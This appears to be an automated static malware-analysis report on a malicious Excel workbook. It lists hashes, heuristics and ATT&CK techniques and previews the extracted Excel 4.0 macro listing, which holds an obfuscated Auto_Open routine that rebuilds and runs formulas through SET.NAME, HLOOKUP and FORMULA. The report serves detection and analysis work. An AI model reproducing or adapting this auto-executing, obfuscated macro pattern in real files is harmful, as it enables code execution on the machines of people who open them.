Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b6d111aa727e10e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:28:22 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 262cb69d5609fa05f3a88d4cbd4061f9 SHA-1: 7636df68bbb90a6be0774d3e3bbb2020080f0739 SHA-256: 4b6d111aa727e10e72651ede45e8a75610fcba7b1f6455e523f3233110d36516
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a known method for executing malicious code upon opening the workbook. The critical heuristic firings indicate the presence of dangerous formula APIs, including the RUN function, suggesting the macro is designed to execute a payload. No specific family could be identified, and no external IOCs were directly extracted from the macro code itself.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6544 bytes
SHA-256: cc813432e18934ced68453d5b94b4a0622582bdbe514ea6a61cfbc64a72be21b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GqnRyhGv
' 0018     21 LABEL : Cell Value, String Constant - ASPMaU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B157 
' 0018     20 LABEL : Cell Value, String Constant - bUdCk len=0 
' 0018     20 LABEL : Cell Value, String Constant - cCgYd len=0 
' 0018     21 LABEL : Cell Value, String Constant - dUNdsG len=0 
' 0018     21 LABEL : Cell Value, String Constant - elfEMd len=0 
' 0018     20 LABEL : Cell Value, String Constant - HEvYv len=0 
' 0018     23 LABEL : Cell Value, String Constant - hIfSklxM len=0 
' 0018     23 LABEL : Cell Value, String Constant - JzRalkqd len=0 
' 0018     26 LABEL : Cell Value, String Constant - lTEHQiifcLO len=0 
' 0018     23 LABEL : Cell Value, String Constant - ockxPIiI len=0 
' 0018     27 LABEL : Cell Value, String Constant - OIjyuFwXrWoy len=0 
' 0018     27 LABEL : Cell Value, String Constant - qSgjmmOqFqUX len=0 
' 0018     27 LABEL : Cell Value, String Constant - uiWMIHufMmdk len=0 
' 0018     20 LABEL : Cell Value, String Constant - uLTsY len=0 
' 0018     25 LABEL : Cell Value, String Constant - urENFfoNmg len=0 
' 0018     22 LABEL : Cell Value, String Constant - VeHbcFx len=0 
' 0018     26 LABEL : Cell Value, String Constant - wdbFGPaJudc len=0 
' 0018     23 LABEL : Cell Value, String Constant - WDnRPHyw len=0 
' 0018     27 LABEL : Cell Value, String Constant - weJOYMbemcdE len=0 
' 0018     25 LABEL : Cell Value, String Constant - xvickQPTFm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GqnRyhGv,B64,"SET.NAME("uiWMIHufMmdk",VALUE("0"))",""
'  GqnRyhGv,B67,"SET.NAME("xvickQPTFm",uiWMIHufMmdk)",""
'  GqnRyhGv,B72,"SET.NAME("hIfSklxM",uiWMIHufMmdk)",""
'  GqnRyhGv,B77,"SET.NAME("dUNdsG",COUNTA(urENFfoNmg))",""
'  GqnRyhGv,B82,"SET.NAME("VeHbcFx",COUNTA(wdbFGPaJudc))",""
'  GqnRyhGv,B86,[],""
'  GqnRyhGv,B89,"SET.NAME("elfEMd","")",""
'  GqnRyhGv,B91,"xvickQPTFm",""
'  GqnRyhGv,B95,"SET.NAME("qSgjmmOqFqUX",HLOOKUP("*",urENFfoNmg,xvickQPTFm,FALSE))",""
'  GqnRyhGv,B97,"WDnRPHyw",""
'  GqnRyhGv,B101,"SET.NAME("cCgYd",uiWMIHufMmdk)",""
'  GqnRyhGv,B103,[],""
'  GqnRyhGv,B105,"cCgYd",""
'  GqnRyhGv,B107,"ockxPIiI",""
'  GqnRyhGv,B111,"lTEHQiifcLO",""
'  GqnRyhGv,B113,"bUdCk",""
'  GqnRyhGv,B118,"SET.NAME("weJOYMbemcdE",VALUE(HLOOKUP("*",wdbFGPaJudc,bUdCk,FALSE)))",""
'  GqnRyhGv,B120,"uLTsY",""
'  GqnRyhGv,B124,"elfEMd",""
'  GqnRyhGv,B127,"hIfSklxM",""
'  GqnRyhGv,B131,NEXT(),""
'  GqnRyhGv,B136,"HEvYv",""
'  GqnRyhGv,B141,"SET.NAME("f",INT(T(FORMULA(T(elfEMd)&"",""&T(HEvYv)))))",""
'  GqnRyhGv,B144,"JzRalkqd",""
'  GqnRyhGv,B148,NEXT(),""
'  GqnRyhGv,B153,RETURN(),""
'  GqnRyhGv,B182,"SET.NAME("OIjyuFwXrWoy",B64)",""
'  GqnRyhGv,B187,"urENFfoNmg",""
'  GqnRyhGv,B191,"SET.NAME("wdbFGPaJudc",R98C13)",""
'  GqnRyhGv,B195,"SET.NAME("JzRalkqd",201)",""
'  GqnRyhGv,B197,"SET.NAME("ASPMaU",2)",""
'  GqnRyhGv,B200,OIjyuFwXrWoy(),""
'  GqnRyhGv,B201,HALT(),""